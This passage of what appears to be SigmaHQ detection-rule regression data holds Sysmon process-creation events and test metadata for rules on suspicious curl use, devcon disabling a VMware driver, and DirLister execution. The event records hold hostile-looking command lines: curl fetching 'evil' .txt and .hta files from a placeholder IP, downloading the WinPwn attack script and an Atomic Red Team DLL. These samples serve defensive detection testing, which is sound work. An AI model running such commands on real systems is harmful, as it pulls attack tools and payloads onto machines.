\"2025-12-11 07:02:39.718\",\n \"ProcessGuid\": \"0197231E-6C8F-693A-2613-000000000800\",\n \"ProcessId\": 17752,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl --output hello.txt https://12.34.56.78/hack/evil.txt\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec/info.yml",
"content": "id: 6aac357c-fe1d-4ca0-82e2-df626f71e838\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 9cc85849-3b02-4cb5-b371-3a1ff54f2218\n title: File Download From IP URL Via Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec/9cc85849-3b02-4cb5-b371-3a1ff54f2218.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions/5cb299fc-5fb1-4d07-b989-0644c68b6043.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:34:20.042883Z\"\n }\n },\n \"EventRecordID\": 21588,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:34:19.983\",\n \"ProcessGuid\": \"0197231E-65EB-693A-F112-000000000800\",\n \"ProcessId\": 14440,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl --output benign.hta \\\"https://12.34.56.78/hack/evil.hta\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions/info.yml",
"content": "id: 0f1b33fc-f97e-4469-a9ec-32ffb436f490\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 5cb299fc-5fb1-4d07-b989-0644c68b6043\n title: Suspicious File Download From IP Via Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions/5cb299fc-5fb1-4d07-b989-0644c68b6043.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains/56454143-524f-49fb-b1c6-3fb8b1ad41fb.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:41:38.130858Z\"\n }\n },\n \"EventRecordID\": 21642,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:41:38.096\",\n \"ProcessGuid\": \"0197231E-67A2-693A-FF12-000000000800\",\n \"ProcessId\": 9656,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl -O \\\"https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains/info.yml",
"content": "id: 68e8f5c3-5a3b-4878-82d3-24d961eb219b\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 56454143-524f-49fb-b1c6-3fb8b1ad41fb\n title: Suspicious File Download From File Sharing Domain Via Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains/56454143-524f-49fb-b1c6-3fb8b1ad41fb.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_connection/cb9cc1d1-e84e-4bdc-b7ad-c31b1b7908ec.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:43:20.070938Z\"\n }\n },\n \"EventRecordID\": 21651,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:43:20.052\",\n \"ProcessGuid\": \"0197231E-6808-693A-0413-000000000800\",\n \"ProcessId\": 17792,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl --insecure http://example.com\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_connection/info.yml",
"content": "id: ef93f624-2b41-41ee-9596-298d3158acfb\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: cb9cc1d1-e84e-4bdc-b7ad-c31b1b7908ec\n title: Insecure Transfer Via Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_connection/cb9cc1d1-e84e-4bdc-b7ad-c31b1b7908ec.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_proxy_or_doh/2c1486f5-02e8-4f86-9099-b97f2da4ed77.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:45:56.284330Z\"\n }\n },\n \"EventRecordID\": 21680,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:45:56.239\",\n \"ProcessGuid\": \"0197231E-68A4-693A-0713-000000000800\",\n \"ProcessId\": 13700,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl --proxy-insecure -p -x http://127.0.0.1:1234 --silent -v --show-error http://127.0.0.1:888/echo\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_proxy_or_doh/info.yml",
"content": "id: 11dd9a12-467e-4c13-b928-7c3aea60f59f\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 2c1486f5-02e8-4f86-9099-b97f2da4ed77\n title: Insecure Proxy/DOH Transfer Via Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_insecure_proxy_or_doh/2c1486f5-02e8-4f86-9099-b97f2da4ed77.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_local_file_read/aa6f6ea6-0676-40dd-b510-6e46f02d8867.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-11T06:51:23.281436Z\"\n }\n },\n \"EventRecordID\": 21706,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-11 06:51:23.255\",\n \"ProcessGuid\": \"0197231E-69EB-693A-1313-000000000800\",\n \"ProcessId\": 13896,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.10.1\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl file:///C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\calc.dll\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=DBB2D090D2098B2B995FA067FDEF839F,SHA256=8955D2A45404A59C2E3772F3C76AEEAE48AEDF100BE328C003D7A4DF5342B491,IMPHASH=213443B550A6683661EB0CF00CF04681\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_local_file_read/info.yml",
"content": "id: 4dfcc9a3-f555-4692-aa17-bca049de2f61\ndescription: N/A\ndate: 2025-12-11\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: aa6f6ea6-0676-40dd-b510-6e46f02d8867\n title: Local File Read Using Curl.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_local_file_read/aa6f6ea6-0676-40dd-b510-6e46f02d8867.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_susp_download/e218595b-bbe7-4ee5-8a96-f32a24ad3468.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:23:21.381915Z\"\n }\n },\n \"EventRecordID\": 8613670,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:23:21.362\",\n \"ProcessGuid\": \"5AA13A44-CF49-68FC-2630-000000004002\",\n \"ProcessId\": 9032,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\curl.exe\",\n \"FileVersion\": \"8.13.0\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"curl -k https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll -o c:\\\\users\\\\public\\\\music\\\\allthethingsx64.dll\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=A1BD7848E36F22021C68F4F24EDFDB7ACE42FCA3,MD5=90939B67542D77A32042B7C1945623B1,SHA256=3345339164CF384EFF527B6C3160FEA8D849A4231EC6CA80513E3A739E505168,IMPHASH=6C25E5A258C8C037CD5FBE44B10E696F\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_curl_susp_download/info.yml",
"content": "id: e2254736-78df-48bf-acd9-e36f914e21bc\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: e218595b-bbe7-4ee5-8a96-f32a24ad3468\n title: Suspicious Curl.EXE Download\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_curl_susp_download/e218595b-bbe7-4ee5-8a96-f32a24ad3468.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_devcon_disable_vmci_driver/85f520e7-6f5e-43ca-874c-222e5bf9c0de.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-01-23T03:54:56.824925Z\"\n }\n },\n \"EventRecordID\": 23370,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-01-23 03:54:56.816\",\n \"ProcessGuid\": \"0197231E-F110-6972-3D16-000000000800\",\n \"ProcessId\": 12132,\n \"Image\": \"C:\\\\Program Files (x86)\\\\Windows Kits\\\\10\\\\Tools\\\\10.0.26100.0\\\\x64\\\\devcon.exe\",\n \"FileVersion\": \"10.0.26100.6584 (WinBuild.160101.0800)\",\n \"Description\": \"Device Console\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"DevCon.exe\",\n \"CommandLine\": \"devcon.exe disable \\\"ROOT\\\\VMWVMCIHOSTDEV\\\"\",\n \"CurrentDirectory\": \"C:\\\\Program Files (x86)\\\\Windows Kits\\\\10\\\\Tools\\\\10.0.26100.0\\\\x64\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=36A56121DBE964347C859F95E996B26F,SHA256=282FF232C35FCB82DAD2FDAE56C775523409494B175A5A83D7441B5FA65CB3F9,IMPHASH=A0225EB3236EA941773B705076ADA2AF\",\n \"ParentProcessGuid\": \"0197231E-F0B6-6972-3816-000000000800\",\n \"ParentProcessId\": 4244,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_devcon_disable_vmci_driver/info.yml",
"content": "id: 00d836cd-522f-41c8-b6a5-e1bf5d1d388d\ndescription: N/A\ndate: 2026-01-23\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 85f520e7-6f5e-43ca-874c-222e5bf9c0de\n title: Devcon Execution Disabling VMware VMCI Device\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_devcon_disable_vmci_driver/85f520e7-6f5e-43ca-874c-222e5bf9c0de.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dirlister_execution/b4dc61f5-6cce-468e-a608-b48b469feaa2.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:41:03.540138Z\"\n }\n },\n \"EventRecordID\": 8933629,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:41:03.533\",\n \"ProcessGuid\": \"5AA13A44-D36F-68FC-CE30-000000004002\",\n \"ProcessId\": 5956,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\DirLister.exe\",\n \"FileVersion\": \"2.0.0.0\",\n \"Description\": \"DirLister.UI\",\n \"Product\": \"DirLister.UI\",\n \"Company\": \"DirLister\",\n \"OriginalFileName\": \"DirLister.exe\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\Administrator\\\\Downloads\\\\DirLister.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=561771830EDE663651F3E6D731656D5D9E2BB19A,MD5=909E97D239C54B4563B61573FAE63C22,SHA256=C939927D7AB06E05B1B6E4951E8F7C45E54BA4EC3CA9399D7E1D9F5CA67C849C,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744\",\n \"ParentProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ParentProcessId\": 7680,\n \"ParentImage\": \"C:\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\explorer.exe\\\" /NoUACCheck\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dirlister_execution/info.yml",
"content": "id: 3e64088e-d05c-4e03-ac62-d5961672d33e\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: b4dc61f5-6cce-468e-a608-b48b469feaa2\n title: DirLister Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_dirlister_execution/b4dc61f5-6cce-468e-a608-b48b469feaa2.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_discovery_via_reg_queries/0022869c-49f7-4ff2-ba03-85ac42ddac58.json",
